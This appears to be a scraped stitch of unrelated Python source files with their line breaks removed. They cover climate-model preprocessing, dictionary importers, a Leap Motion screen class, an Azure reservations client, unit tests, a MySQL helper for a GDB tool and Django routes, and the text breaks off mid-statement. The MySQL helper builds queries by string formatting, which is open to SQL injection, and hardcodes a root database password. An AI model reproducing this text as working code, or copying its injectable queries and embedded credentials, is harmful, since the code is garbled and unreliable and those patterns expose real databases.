Fu_m._set_valid_range(0., 1.) Fu_m.label = lab + ' albedo' Fu_i.label = lab + ' albedo' Fu_m.unit = '-' Fu_i.unit = '-' # center dates of months Fu_m.adjust_time(day=15) Fu_i.adjust_time(day=15) # return data as a tuple list retval = (Fu_m.time, Fu_m.fldmean(), Fu_m) return Fu_i, retval def _do_preprocessing(self, rawfile, varname, s_start_time, s_stop_time, interval='monthly', force_calc=False, valid_mask='global', target_grid='t63grid'): """ perform preprocessing * selection of variable * temporal subsetting """ cdo = Cdo() if not os.path.exists(rawfile): print('File not existing! %s ' % rawfile) return None, None # calculate monthly means file_monthly = get_temporary_directory() + os.sep + os.path.basename(rawfile[:-3]) + '_' + varname + '_' + s_start_time + '_' + s_stop_time + '_mm.nc' if (force_calc) or (not os.path.exists(file_monthly)): cdo.monmean(options='-f nc', output=file_monthly, input='-seldate,' + s_start_time + ',' + s_stop_time + ' ' + '-selvar,' + varname + ' ' + rawfile, force=force_calc) else: pass if not os.path.exists(file_monthly): raise ValueError('Monthly preprocessing did not work! %s ' % file_monthly) # calculate monthly or seasonal climatology if interval == 'monthly': mdata_clim_file = file_monthly[:-3] + '_ymonmean.nc' mdata_sum_file = file_monthly[:-3] + '_ymonsum.nc' mdata_N_file = file_monthly[:-3] + '_ymonN.nc' mdata_clim_std_file = file_monthly[:-3] + '_ymonstd.nc' cdo.ymonmean(options='-f nc -b 32', output=mdata_clim_file, input=file_monthly, force=force_calc) cdo.ymonsum(options='-f nc -b 32', output=mdata_sum_file, input=file_monthly, force=force_calc) cdo.ymonstd(options='-f nc -b 32', output=mdata_clim_std_file, input=file_monthly, force=force_calc) cdo.div(options='-f nc', output=mdata_N_file, input=mdata_sum_file + ' ' + mdata_clim_file, force=force_calc) # number of samples elif interval == 'season': mdata_clim_file = file_monthly[:-3] + '_yseasmean.nc' mdata_sum_file = file_monthly[:-3] + '_yseassum.nc' mdata_N_file = file_monthly[:-3] + '_yseasN.nc' mdata_clim_std_file = file_monthly[:-3] + '_yseasstd.nc' cdo.yseasmean(options='-f nc -b 32', output=mdata_clim_file, input=file_monthly, force=force_calc) cdo.yseassum(options='-f nc -b 32', output=mdata_sum_file, input=file_monthly, force=force_calc) cdo.yseasstd(options='-f nc -b 32', output=mdata_clim_std_file, input=file_monthly, force=force_calc) cdo.div(options='-f nc -b 32', output=mdata_N_file, input=mdata_sum_file + ' ' + mdata_clim_file, force=force_calc) # number of samples else: raise ValueError('Unknown temporal interval. Can not perform preprocessing!') if not os.path.exists(mdata_clim_file): return None # read data if interval == 'monthly': thetime_cylce = 12 elif interval == 'season': thetime_cylce = 4 else: print interval raise ValueError('Unsupported interval!') mdata = Data(mdata_clim_file, varname, read=True, label=self.name, shift_lon=False, time_cycle=thetime_cylce, lat_name='lat', lon_name='lon') mdata_std = Data(mdata_clim_std_file, varname, read=True, label=self.name + ' std', unit='-', shift_lon=False, time_cycle=thetime_cylce, lat_name='lat', lon_name='lon') mdata.std = mdata_std.data.copy() del mdata_std mdata_N = Data(mdata_N_file, varname, read=True, label=self.name + ' std', shift_lon=False, lat_name='lat', lon_name='lon') mdata.n = mdata_N.data.copy() del mdata_N # ensure that climatology always starts with January, therefore set date and then sort mdata.adjust_time(year=1700, day=15) # set arbitrary time for climatology mdata.timsort() #4) read monthly data mdata_all = Data(file_monthly, varname, read=True, label=self.name, shift_lon=False, time_cycle=12, lat_name='lat', lon_name='lon') mdata_all.adjust_time(day=15) #mask_antarctica masks everything below 60 degree S. #here we only mask Antarctica, if only LAND points shall be used if valid_mask == 'land': mask_antarctica = True elif valid_mask == 'ocean': mask_antarctica = False else: mask_antarctica = False if target_grid == 't63grid': mdata._apply_mask(get_T63_landseamask(False, area=valid_mask, mask_antarctica=mask_antarctica)) mdata_all._apply_mask(get_T63_landseamask(False, area=valid_mask, mask_antarctica=mask_antarctica)) else: tmpmsk = get_generic_landseamask(False, area=valid_mask, target_grid=target_grid, mask_antarctica=mask_antarctica) mdata._apply_mask(tmpmsk) mdata_all._apply_mask(tmpmsk) del tmpmsk mdata_mean = mdata_all.fldmean() # return data as a tuple list retval = (mdata_all.time, mdata_mean, mdata_all) del mdata_all return mdata, retval def get_surface_shortwave_radiation_down(self, interval='monthly', **kwargs): """ get surface shortwave incoming radiation data for JSBACH Parameters ---------- interval : str specifies the aggregation interval. Possible options: ['season','monthly'] """ locdict = kwargs[self.type] y1 = '1980-01-01' # TODO move this to the JSON dictionary or some parameter file y2 = '2010-12-31' rawfile = self.data_dir + self.experiment + '_jsbach_' + y1[0: 4] + '_' + y2[0: 4] + '.nc' mdata, retval = self._do_preprocessing(rawfile, 'swdown_acc', y1, y2, interval=interval, valid_mask=locdict['valid_mask']) return mdata, retval def get_surface_shortwave_radiation_up(self, interval='monthly', **kwargs): """ get surface shortwave upward radiation data for JSBACH Parameters ---------- interval : str specifies the aggregation interval. Possible options: ['season','monthly'] """ locdict = kwargs[self.type] y1 = '1980-01-01' # TODO: move this to the JSON dictionary or some parameter file y2 = '2010-12-31' rawfile = self.data_dir + self.experiment + '_jsbach_' + y1[0: 4] + '_' + y2[0: 4] + '.nc' mdata, retval = self._do_preprocessing(rawfile, 'swdown_reflect_acc', y1, y2, interval=interval, valid_mask=locdict['valid_mask']) return mdata, retval def get_model_data_generic(self, interval='monthly', **kwargs): """ This is only a wrapper to redirect to individual functions for the JSBACH_RAW class Currently only the usage for rainfall is supported! """ # HACK: only a wrapper, should be depreciated raise ValueError('Rainfall analysis not working yet!') self.get_rainfall_data(interval=interval, **kwargs) def get_rainfall_data(self, interval='monthly', **kwargs): """ get surface rainfall data for JSBACH uses already preprocessed data where the convective and advective rainfall has been merged Parameters ---------- interval : str specifies the aggregation interval. Possible options: ['season','monthly'] """ locdict = kwargs[self.type] y1 = '1980-01-01' # TODO : move this to the JSON dictionary or some parameter file y2 = '2010-12-31' variable = 'aprc' rawfile = self.data_dir + self.experiment + '_echam6_echam_*_precipitation.nc' files = glob.glob(rawfile) if len(files) != 1: print 'Inputfiles: ', files raise ValueError('Something went wrong: Invalid number of input files!') else: rawfile = files[0] mdata, retval = self._do_preprocessing(rawfile, variable, y1, y2, interval=interval, valid_mask=locdict['valid_mask']) return mdata, retval def get_gpp_data(self, interval='season'): """ get surface GPP data for JSBACH todo temporal aggregation of data --> or leave it to the user! """ cdo = Cdo() v = 'var167' y1 = str(self.start_time)[0:10] y2 = str(self.stop_time)[0:10] rawfilename = self.data_dir + 'data/model/' + self.experiment + '_' + y1[0:4] + '-' + y2[0:4] + '.nc' times_in_file = int(''.join(cdo.ntime(input=rawfilename))) if interval == 'season': if times_in_file != 4: tmp_file = get_temporary_directory() + os.path.basename(rawfilename) cdo.yseasmean(options='-f nc -b 32 -r ', input='-selvar,' + v + ' ' + rawfilename, output=tmp_file[:-3] + '_yseasmean.nc') rawfilename = tmp_file[:-3] + '_yseasmean.nc' if interval == 'monthly': if times_in_file != 12: tmp_file = get_temporary_directory() + os.path.basename(rawfilename) cdo.ymonmean(options='-f nc -b 32 -r ', input='-selvar,' + v + ' ' + rawfilename, output=tmp_file[:-3] + '_ymonmean.nc') rawfilename = tmp_file[:-3] + '_ymonmean.nc' if not os.path.exists(rawfilename): return None filename = rawfilename #--- read land-sea mask ls_mask = get_T63_landseamask(self.shift_lon) #--- read SW up data gpp = Data4D(filename, v, read=True, label=self.experiment + ' ' + v, unit='gC m-2 a-1', lat_name='lat', lon_name='lon', shift_lon=self.shift_lon, mask=ls_mask.data.data, scale_factor=3600. * 24. * 30. / 0.083 ) return gpp.sum_data4D()
from threading import Lock import requests from api.decorator import critical_section from api.importer import AdditionalDataImporter from api.importer import AdditionalDataImporterError from api.importer.wiktionary import dyn_backend rmi_lock = Lock() class DictionaryImporter(AdditionalDataImporter): def populate_cache(self, language): rq_params = { 'language': 'eq.' + language } response = requests.get(dyn_backend.backend + '/word', rq_params) query = response.json() for json in query: self.word_id_cache[(json['word'], json['language'])] = json['id'] class TenyMalagasyImporter(DictionaryImporter): data_type = 'tenymalagasy/definition' class RakibolanaMalagasyImporter(DictionaryImporter): data_type = 'rakibolana/definition' @critical_section(rmi_lock) def write_tif(self, title, language, additional_data): temp = self.data_type self.data_type = 'rakibolana/derived' try: self.write_additional_data(title, language, additional_data) except AdditionalDataImporterError as exc: pass self.data_type = temp @critical_section(rmi_lock) def write_raw(self, title, language, additional_data): temp = self.data_type self.data_type = 'rakibolana/raw' try: self.write_additional_data(title, language, additional_data) except AdditionalDataImporterError as exc: pass self.data_type = temp def get_data(self, template_title: str, wikipage: str, language: str): pass
import math class VirtualScreen: #cet ecran est normal a l'axe Z du Leap def __init__(self,Xoffset=0,Yoffset=50,Zoffset=-50,Zlimit=220,length=350,height=300): #en mm self.Xoffset = Xoffset; # position du milieu du bord bas de l'ecran par rapport au centre du Leap self.Yoffset = Yoffset; # position du milieu du bord bas de l'ecran par rapport au centre du Leap self.Zoffset = Zoffset; # position du milieu du bord bas de l'ecran par rapport au centre du Leap self.Zlimit = Zlimit # profondeur de la zone self.length = length; self.height = height; self.UpperLeftCorner = [Xoffset-length/float(2),Yoffset+height] self.Center = [self.Xoffset,self.Yoffset+0.5*self.height,Zoffset+0.5*Zlimit] self.zoneUpperLeftCornerArray = []; self.zoneHeight = height / float(2); self.zoneLength = length / float(3); for i in range(0,2): for j in range(0,3): self.zoneUpperLeftCornerArray.append([self.UpperLeftCorner[0]+self.zoneLength*j,self.UpperLeftCorner[1]-self.zoneHeight*i]) # print self.zoneUpperLeftCornerArray def distanceFromScreen(self,position): dX = max( max( position[0] - (self.Xoffset+self.length/float(2)), 0 ) , max (self.Xoffset-self.length/float(2) - position[0], 0 ) ) dY = max( max( position[1] - (self.Yoffset+self.height) , 0 ) , max (self.Yoffset - position[1], 0 ) ) dZ = max( max(self.Zoffset - position[2], 0 ) , max(position[2] - (self.Zlimit + self.Zoffset) , 0 ) ) return math.sqrt(dX**2+dY**2+dZ**2) def isFacingTheScreen(self,position): #donner un vecteur position 3d en mm suivant les axes du Leapmotion ([x,y,z]) isXvalid = (position[0] <= self.Xoffset+self.length/float(2)) and (position[0] >= self.Xoffset-self.length/float(2)) isYvalid = (position[1] <= self.Yoffset+self.height) and (position[1] >= self.Yoffset) isZvalid = (position[2] >= self.Zoffset) and (position[2] <= self.Zlimit + self.Zoffset) return isXvalid and isYvalid and isZvalid def getScreenZonePointedAt(self,position,direction): if not self.isFacingTheScreen(position): return -1 else: lambdaIntersection = (self.Zoffset-position[2])/direction[2] # (Zoffset-Zpoint)/Zdirecteur xIntersection = position[0] + lambdaIntersection*direction[0] # Xpoint + lambda * Xdirecteur yIntersection = position[1] + lambdaIntersection*direction[1] # Ypoint + lambda * Ydirecteur intersection = [xIntersection,yIntersection] return(self.getScreenZoneFromPointOnScreen(intersection)) def getScreenZoneFromPointOnScreen(self,onScreenPosition): for index,i in enumerate(self.zoneUpperLeftCornerArray): if(onScreenPosition[0]>=i[0] and onScreenPosition[0]<i[0]+self.zoneLength and onScreenPosition[1]<=i[1] and onScreenPosition[1]>=i[1]-self.zoneHeight): return index+1 return -1
from rewpapi.common.http import Request from rewpapi.listings.listing import ListingResidential class RemoteListingImages(Request): def __init__(self, base_site, auth, listing_type, listing_uuid): super(RemoteListingImages, self).__init__(auth) self._base_site = base_site self._auth = auth self._listing_type = listing_type self._listing_uuid = listing_uuid self._endpoint = base_site + "/api/listings/%s/%s/images/" % ( listing_type, listing_uuid) def get_all(self): """ Returns a list of Listing images """ remote_listing_images = self.execute() listing_images = [] if remote_listing_images: for a in remote_listing_images: new_listing_images = ListingImages(self._base_site, self._auth, self._listing_type, self._listing_uuid) new_listing_images.FIELDS = [] for k, v in a.items(): setattr(new_listing_images, k, v) new_listing_images.FIELDS.append(k) listing_images.append(new_listing_images) return listing_images return None def get(self, uuid): """ Returns a single ListingImage instance, matching uuid. Raises a DoesNotExist exception if the object does not exist. """ b = ListingResidential() b.branch_name = "Foo" return b class ListingImages(RemoteListingImages): """ A ListingImages object represents a Listing's images. Once instantiated, you can: - Change its values and send an update() - Create it if it doesn't exist """ def set_fields(self, images): self.images = images def update(self): """ Update this listing's images. """ self._endpoint = self._base_site + "/api/listings/%s/%s/images/" % ( self._listing_type, self._listing_uuid) images = [] for image in self.images: image_dict = {} image_dict['image'] = image.image image_dict['caption'] = image.caption image_dict['sha1'] = image.sha1 images.append(image_dict) self.execute("PUT", images)
from typing import Any, Callable, Dict, Generic, Optional, TypeVar, Union import warnings from azure.core.exceptions import ClientAuthenticationError, HttpResponseError, ResourceExistsError, ResourceNotFoundError, map_error from azure.core.pipeline import PipelineResponse from azure.core.pipeline.transport import AsyncHttpResponse, HttpRequest from azure.core.polling import AsyncLROPoller, AsyncNoPolling, AsyncPollingMethod from azure.mgmt.core.exceptions import ARMErrorFormat from azure.mgmt.core.polling.async_arm_polling import AsyncARMPolling from ... import models as _models T = TypeVar('T') ClsType = Optional[Callable[[PipelineResponse[HttpRequest, AsyncHttpResponse], T, Dict[str, Any]], Any]] class CalculateExchangeOperations: """CalculateExchangeOperations async operations. You should not instantiate this class directly. Instead, you should create a Client instance that instantiates it for you and attaches it as an attribute. :ivar models: Alias to model classes used in this operation group. :type models: ~azure.mgmt.reservations.models :param client: Client for service requests. :param config: Configuration of service client. :param serializer: An object model serializer. :param deserializer: An object model deserializer. """ models = _models def __init__(self, client, config, serializer, deserializer) -> None: self._client = client self._serialize = serializer self._deserialize = deserializer self._config = config async def _post_initial( self, body: "_models.CalculateExchangeRequest", **kwargs: Any ) -> Optional["_models.CalculateExchangeOperationResultResponse"]: cls = kwargs.pop('cls', None) # type: ClsType[Optional["_models.CalculateExchangeOperationResultResponse"]] error_map = { 401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError } error_map.update(kwargs.pop('error_map', {})) api_version = "2020-10-01-preview" content_type = kwargs.pop("content_type", "application/json") accept = "application/json" # Construct URL url = self._post_initial.metadata['url'] # type: ignore # Construct parameters query_parameters = {} # type: Dict[str, Any] query_parameters['api-version'] = self._serialize.query("api_version", api_version, 'str') # Construct headers header_parameters = {} # type: Dict[str, Any] header_parameters['Content-Type'] = self._serialize.header("content_type", content_type, 'str') header_parameters['Accept'] = self._serialize.header("accept", accept, 'str') body_content_kwargs = {} # type: Dict[str, Any] body_content = self._serialize.body(body, 'CalculateExchangeRequest') body_content_kwargs['content'] = body_content request = self._client.post(url, query_parameters, header_parameters, **body_content_kwargs) pipeline_response = await self._client._pipeline.run(request, stream=False, **kwargs) response = pipeline_response.http_response if response.status_code not in [200, 202]: map_error(status_code=response.status_code, response=response, error_map=error_map) error = self._deserialize.failsafe_deserialize(_models.Error, response) raise HttpResponseError(response=response, model=error, error_format=ARMErrorFormat) response_headers = {} deserialized = None if response.status_code == 200: deserialized = self._deserialize('CalculateExchangeOperationResultResponse', pipeline_response) if response.status_code == 202: response_headers['Azure-AsyncOperation']=self._deserialize('str', response.headers.get('Azure-AsyncOperation')) response_headers['Location']=self._deserialize('str', response.headers.get('Location')) response_headers['Retry-After']=self._deserialize('int', response.headers.get('Retry-After')) if cls: return cls(pipeline_response, deserialized, response_headers) return deserialized _post_initial.metadata = {'url': '/providers/Microsoft.Capacity/calculateExchange'} # type: ignore async def begin_post( self, body: "_models.CalculateExchangeRequest", **kwargs: Any ) -> AsyncLROPoller["_models.CalculateExchangeOperationResultResponse"]: """Calculates the refund amounts and price of the new purchases. Calculates price for exchanging ``Reservations`` if there are no policy errors. :param body: Request containing purchases and refunds that need to be executed. :type body: ~azure.mgmt.reservations.models.CalculateExchangeRequest :keyword callable cls: A custom type or function that will be passed the direct response :keyword str continuation_token: A continuation token to restart a poller from a saved state. :keyword polling: By default, your polling method will be AsyncARMPolling. Pass in False for this operation to not poll, or pass in your own initialized polling object for a personal polling strategy. :paramtype polling: bool or ~azure.core.polling.AsyncPollingMethod :keyword int polling_interval: Default waiting time between two polls for LRO operations if no Retry-After header is present. :return: An instance of AsyncLROPoller that returns either CalculateExchangeOperationResultResponse or the result of cls(response) :rtype: ~azure.core.polling.AsyncLROPoller[~azure.mgmt.reservations.models.CalculateExchangeOperationResultResponse] :raises ~azure.core.exceptions.HttpResponseError: """ polling = kwargs.pop('polling', True) # type: Union[bool, AsyncPollingMethod] cls = kwargs.pop('cls', None) # type: ClsType["_models.CalculateExchangeOperationResultResponse"] lro_delay = kwargs.pop( 'polling_interval', self._config.polling_interval ) cont_token = kwargs.pop('continuation_token', None) # type: Optional[str] if cont_token is None: raw_result = await self._post_initial( body=body, cls=lambda x,y,z: x, **kwargs ) kwargs.pop('error_map', None) kwargs.pop('content_type', None) def get_long_running_output(pipeline_response): deserialized = self._deserialize('CalculateExchangeOperationResultResponse', pipeline_response) if cls: return cls(pipeline_response, deserialized, {}) return deserialized if polling is True: polling_method = AsyncARMPolling(lro_delay, lro_options={'final-state-via': 'azure-async-operation'}, **kwargs) elif polling is False: polling_method = AsyncNoPolling() else: polling_method = polling if cont_token: return AsyncLROPoller.from_continuation_token( polling_method=polling_method, continuation_token=cont_token, client=self._client, deserialization_callback=get_long_running_output ) else: return AsyncLROPoller(self._client, raw_result, get_long_running_output, polling_method) begin_post.metadata = {'url': '/providers/Microsoft.Capacity/calculateExchange'} # type: ignore
from __future__ import absolute_import import unittest import types if __name__ == "__main__": from optional import * #imports from package, not sub-module else: from .optional import * from .nulltype import * class TestNullType(unittest.TestCase): def test_supertype(self): self.assert_(isinstance(None, NullType)) self.assert_(isinstance(Optional('a'), NullType)) self.assert_(isinstance(NotPassed, NotPassedType)) self.assert_(isinstance(NotPassed, NullType)) self.assert_(issubclass(type(None), NullType)) self.assert_(issubclass(types.NoneType, NullType)) self.assert_(issubclass(Optional, NullType)) self.assert_(issubclass(NotPassedType, NullType)) class TestOptional(unittest.TestCase): def setUp(self): def myfunc(first, second=None, third=Optional(5), fourth=Optional(execute=list)): #Equivalent: second = deoption(second, 5) if isinstance(second, type(None)): second = 5 third = deoption(third, 5) fourth = deoption(fourth) return first, second, third, fourth self.myfunc = myfunc self.expected = ('a', 5, 5, []) self.ident = lambda: None def _option_suite(self, value): opt = Optional(value) self.assert_(isinstance(opt, Optional)) self.assert_(isinstance(deoption(opt), type(value))) self.assertEqual(deoption(opt), value) def test_optional(self): self._option_suite('a') self._option_suite(5) value = None self._option_suite(value) self.assertEqual(deoption(value, 'a'), 'a') self._option_suite(dict) self._option_suite(self.ident) def test_execute(self): opt = Optional(None, execute=dict) self.assertEqual(deoption(opt), {}) self.assertEqual(deoption(opt, execute=dict), {}) self.assertEqual(deoption(None, execute=dict), {}) def test_optional_arguments(self): self.assertEqual(self.myfunc('a'), self.expected) self.assertEqual(self.myfunc('a', 5), self.expected) self.assertEqual(self.myfunc('a', second=5), self.expected) self.assertEqual(self.myfunc('a', 5, 5), self.expected) self.assertEqual(self.myfunc('a', fourth=[]), self.expected) def test_edges(self): self.assertEqual(self.myfunc('a', third=None), self.expected) def test_exceptions(self): self.assert_(issubclass(DeoptionError, TypeError)) self.assertRaises(TypeError, lambda: Optional() ) self.assertRaises(TypeError, lambda: Optional(NotPassed, NotPassed) ) opt = Optional('a') opt.default = NotPassed self.assertRaises(DeoptionError, lambda: opt.deoption() ) self.assertRaises(DeoptionError, lambda: deoption(None) ) self.assertRaises(DeoptionError, lambda: deoption(None, NotPassed, NotPassed) ) self.assertRaises(DeoptionError, lambda: deoption(NotPassed) ) if __name__ == "__main__": unittest.main()
import pymysql import PyGdbUtil class PyGdbDb: # 初始化: 连接数据库 def __init__(self, host, port, dbname, user, passwd): self.project = None self.table_prefix = None try: self.connection = pymysql.connect( host=host, port=int(port), user=user, password=passwd, db=dbname, charset="utf8mb4") self.cursor = self.connection.cursor() except Exception as e_con: print '数据库连接错误, 程序中止' print e_con exit(-1) def test(self): print '正在测试数据库连接' print '数据库连接: ' + str(self.connection.get_host_info()) if self.connection else '数据库连接异常' print '数据库游标: ' + str(self.cursor) if self.cursor else '数据库游标异常' print '数据库连接测试完毕' print '检查表 aabb 是否存在' if self.exist_table('aabb'): print '存在' else: print '不存在' print '初始化项目 example' self.init_project('example', 'example_') self.new_project() PyGdbUtil.log(0, '初始化完毕') # 初始化项目 def init_project(self, project_name, table_prefix): self.project = project_name self.table_prefix = table_prefix # 检测是否存在该项目 不存在->创建 返回True; 存在->返回 False def new_project(self): if not self.table_prefix: PyGdbUtil.log(2, '未指定数据库前缀') exist_project = self.exist_table(self.table_prefix + 'BreakPoint') # 创建数据库表 if not exist_project: self.create_table(self.table_prefix + "BreakPoint(bid INT AUTO_INCREMENT primary key, pid INT, lineNumber INT, funcName TEXT, funcList TEXT)") self.create_table(self.table_prefix + "PStackSize(pid INT, tid INT, stackSize INT, pass TINYINT)") self.create_table(self.table_prefix + "FStackSize(pid INT, tid INT, fid INT, stackSize INT)") self.create_table(self.table_prefix + "FrameVariable(bid INT, varName CHAR, varValue TEXT, varSize INT)") self.create_table(self.table_prefix + "FuncAdjacencyList(pid INT, tid INT, parFid INT, fid INT, cnt INT)") self.create_table(self.table_prefix + "Function(fid INT, funcName CHAR(30))") self.create_table(self.table_prefix + "TestCase(tid INT AUTO_INCREMENT primary key, testStr TEXT)") self.commit() return True else: return False def clear_project(self): if not self.table_prefix: PyGdbUtil.log(2, '未指定数据库前缀') exist_project = self.exist_table(self.table_prefix + 'BreakPoint') if exist_project: self.drop_table(self.table_prefix + "BreakPoint") self.drop_table(self.table_prefix + "PStackSize") self.drop_table(self.table_prefix + "FStackSize") self.drop_table(self.table_prefix + "FrameVariable") self.drop_table(self.table_prefix + "FuncAdjacencyList") self.drop_table(self.table_prefix + "Function") self.drop_table(self.table_prefix + "TestCase") self.commit() return True else: return False # 插入测试用例 def insert_test_case(self, test_str): self.execute("insert into " + self.table_prefix + "TestCase(testStr) VALUES('%s')" % test_str) # 插入程序断点 def insert_breakpoint(self, pid, line_number, func_name): # return # 测试 PyGdbUtil.log(0, str(pid) + " " + str(line_number) + " " + str(func_name)) self.execute("insert into " + self.table_prefix + "BreakPoint(pid, lineNumber, funcName) VALUES (%s, %s, '%s')" % (pid, line_number, func_name)) # 插入函数 def inset_function(self, fid, func_name): self.execute('insert into ' + self.table_prefix + 'Function(fid, funcName) VALUES (%s, "%s")' % (fid, func_name)) # 插入一个栈帧变量信息 def insert_frame_var(self, bid, var_name, var_value, var_size): self.execute('insert into ' + self.table_prefix + 'FrameVariable(bid, varName, varValue, varSize) ' + 'VALUES (%s, "%s", "%s", %s)' % (bid, var_name, var_value, var_size)) # 插入栈帧大小 def insert_frame_stack_size(self, pid, tid, fid, size): self.execute('insert into ' + self.table_prefix + 'FStackSize(pid, tid, fid, stackSize) VALUES (%s, %s, %s, %s)' % (pid, tid, fid, size)) # 插入最大栈帧大小 def insert_max_stack_size(self, pid, tid, size): self.execute('insert into ' + self.table_prefix + 'PStackSize(pid, tid, stackSize) VALUES (%s, %s, %s)' %(pid, tid, size)) # 根据函数名称获取 fid def get_function_fid_by_name(self, func_name): self.execute('select fid from ' + self.table_prefix + 'Function where funcName=' + func_name) fetch_one = self.cursor.fetchone() print "获取函数id: " + fetch_one return fetch_one[0] # 根据bid获取fid def get_fid_by_bid(self, bid): self.execute('select funcName from ' + self.table_prefix + 'BreakPoint where bid=' + str(bid)) fetch_one = self.cursor.fetchone() fid = self.get_fid_by_func_name(str(fetch_one[0])) return fid # 根据函数名获取 fid def get_fid_by_func_name(self, func_name): self.execute('select fid from ' + self.table_prefix + 'Function where funcName="%s"' % (str(func_name))) return self.cursor.fetchone()[0] # 数据库中插入断点 def info_breakpoint_handler(self, pid, gdb_info_breakpoint): ss = gdb_info_breakpoint.split("\n") for s in ss: if 0 < s.find("breakpoint keep y"): s2 = s.split() s3 = s2[8].split(":") self.insert_breakpoint(pid, s3[1], s2[6]) # 添加有向边 a-->b def insert_edge(self, pid, tid, func_name_a, func_name_b): fid_a = self.get_fid_by_func_name(func_name_a) fid_b = self.get_fid_by_func_name(func_name_b) try: self.execute('select cnt from ' + self.table_prefix + 'FuncAdjacencyList where pid=%s and tid=%s and parFid=%s and fid=%s' % (pid, tid, fid_a, fid_b)) cnt = int(self.cursor.fetchone()[0]) + 1 self.execute('update ' + self.table_prefix + 'FuncAdjacencyList set cnt=%s where pid=%s and tid=%s and parFid=%s and fid=%s' % (pid, tid, cnt, fid_a, fid_b)) except Exception: cnt = 1 self.execute('insert into ' + self.table_prefix + 'FuncAdjacencyList(pid, tid, parFid, fid, cnt) VALUES (%s, %s, %s, %s, %s)' % (pid, tid, fid_a, fid_b, cnt)) # 根据 gdb(info b) 的信息获取函数列表 def get_function_list(self, break_info): func_list = [] string_list = break_info.split('\n')[1:] for line in string_list: word = line.split() if len(word) >= 6: func_list.append(word[6]) return func_list # 将给出的函数列表插入数据库中 def insert_function_list(self, func_list): fid = 0 func_list = list(set(func_list)) # 去重 for func in func_list: fid += 1 self.inset_function(fid, func) # 检查是否存在一张表 def exist_table(self, table_name): try: self.execute('select * from ' + table_name) return True except Exception: return False # 创建表 def create_table(self, table_name): try: PyGdbUtil.log(0, "创建表" + table_name) self.execute("create table if not exists " + table_name) except Exception as e: # print e PyGdbUtil.log(2, "创建表" + table_name + "失败! 请检查数据表前缀是否有非法字符.") # 删除表 def drop_table(self, table_name): try: PyGdbUtil.log(0, "删除表" + table_name) self.execute('drop table if exists ' + table_name) except Exception as e: print e PyGdbUtil.log(2, '删除表失败!') # 获取测试样例 def get_test_case_by_tid(self, tid): self.execute("SELECT testStr FROM " + self.table_prefix + "TestCase WHERE tid='%s'" % tid) return self.cursor.fetchone()[0] # 获取测试样例总数 def get_test_case_cnt(self): self.execute('SELECT max(tid) FROM ' + self.table_prefix + 'TestCase') return int(self.cursor.fetchone()[0]) # 获取指定程序的断点列表 def get_breakpoint_list(self, pid): self.execute('SELECT lineNumber FROM ' + self.table_prefix + 'BreakPoint WHERE pid="%s"' % pid) all = self.cursor.fetchall() return [x[0] for x in all] # 执行 sql 语句 def execute(self, sql_cmd): return self.cursor.execute(sql_cmd) # commit 操作 def commit(self): self.connection.commit() """ ================================================================== 下方是 RestFul API 直接需要用到的 api 我擦, 这个好像应该放到另一个工程里面 - -# ================================================================== """ # getWorstStackSize(String program String t1){} input1+program  getWorstStackSize(){} # tid + pid --> Worst Stack Size def api_worst_stack_size(self, pid, tid): pass def api_max_stack_size(self, pid, tid, fid): pass # 给出正确程序的pid 以及比较程序的 pid, 以及测试用例集合(tid列表), 返回程序执行成功与否的TF表 def api_result(self, correct_pid, test_pid, tid_list): pass # 返回程序断点列表 def api_breakpoint_list(self, pid, tid): pass # 断点处函数栈列表 def api_breakpoint_func_list(self, pid, breakpoint): pass # 断点处栈帧信息 def api_breakpoint_frame_info(self, pid, breakpoint): pass # 返回函数调用图的邻接表 def api_function_graph(self, pid, tid): pass # 返回函数列表 def api_function_list(self, pid): pass if __name__ == '__main__': print "PyGDB Database 测试模式" try: dbc = PyGdbDb('127.0.0.1', '3306', 'pygdb', 'root', 'Sbdljw1992') print '数据库连接成功' dbc.test() dbc.connection.close() print '数据库连接断开成功' except Exception as e: print '严重错误: ' + str(e) exit(-1)
import root import j
import os import numpy as np import time a = np.array([ [1,0,3], [0,2,1], [0.1,0,0], ]) print a row = 1 col = 2 print a[row][col] assert a[row][col] == 1 expected_max_rows = [0, 1, 0] expected_max_values = [1, 2, 3] print 'expected_max_rows:', expected_max_rows print 'expected_max_values:', expected_max_values t0 = time.time() actual_max_rows = list(np.argmax(a, axis=0)) td = time.time() - t0 actual_max_values = list(np.amax(a, axis=0)) print 'td:', round(td, 4) print 'actual_max_rows:', actual_max_rows print 'actual_max_values:', actual_max_values assert actual_max_rows == expected_max_rows assert actual_max_values == expected_max_values
from django.conf.urls import patterns, include, url from django.contrib import admin admin.autodiscover() urlpatterns = patterns( '', url(r'', include('frontpage.urls')), url(r'^auth/', include('social.apps.django_app.urls', namespace='social')), url(r'^admin/', include(admin.site.urls)), url(r'^logout/$', 'django.contrib.auth.views.logout', {'next_page': '/'}, name='logout'), )
import fetchopenfmri.fetch
""" To run this test, type this in command line <kolibri manage test -- kolibri.core.content> """ import datetime import unittest import uuid import mock import requests from django.conf import settings from django.core.cache import cache from django.core.urlresolvers import reverse from django.test import TestCase from django.utils import timezone from le_utils.constants import content_kinds from rest_framework import status from rest_framework.test import APITestCase from kolibri.core.auth.models import Facility from kolibri.core.auth.models import FacilityUser from kolibri.core.auth.test.helpers import provision_device from kolibri.core.content import models as content from kolibri.core.content.test.test_channel_upgrade import ChannelBuilder from kolibri.core.device.models import DevicePermissions from kolibri.core.device.models import DeviceSettings from kolibri.core.logger.models import ContentSessionLog from kolibri.core.logger.models import ContentSummaryLog DUMMY_PASSWORD = "password" class ContentNodeTestBase(object): """ Basecase for content metadata methods """ def test_get_prerequisites_for(self): """ test the directional characteristic of prerequisite relationship """ c1 = content.ContentNode.objects.get(title="c1") root = content.ContentNode.objects.get(title="root") # if root is the prerequisite of c1 expected_output = content.ContentNode.objects.filter(title__in=["root"]) actual_output = content.ContentNode.objects.filter(prerequisite_for=c1) self.assertEqual(set(expected_output), set(actual_output)) # then c1 should not be the prerequisite of root unexpected_output = content.ContentNode.objects.filter(title__in=["c1"]) actual_output = content.ContentNode.objects.filter(prerequisite_for=root) self.assertNotEqual(set(actual_output), set(unexpected_output)) def test_get_has_prerequisites(self): """ test the directional characteristic of prerequisite relationship """ c1 = content.ContentNode.objects.get(title="c1") root = content.ContentNode.objects.get(title="root") # if root is the prerequisite of c1 expected_output = content.ContentNode.objects.filter(title__in=["c1"]) actual_output = content.ContentNode.objects.filter(has_prerequisite=root) self.assertEqual(set(expected_output), set(actual_output)) # then c1 should not be the prerequisite of root unexpected_output = content.ContentNode.objects.filter(title__in=["root"]) actual_output = 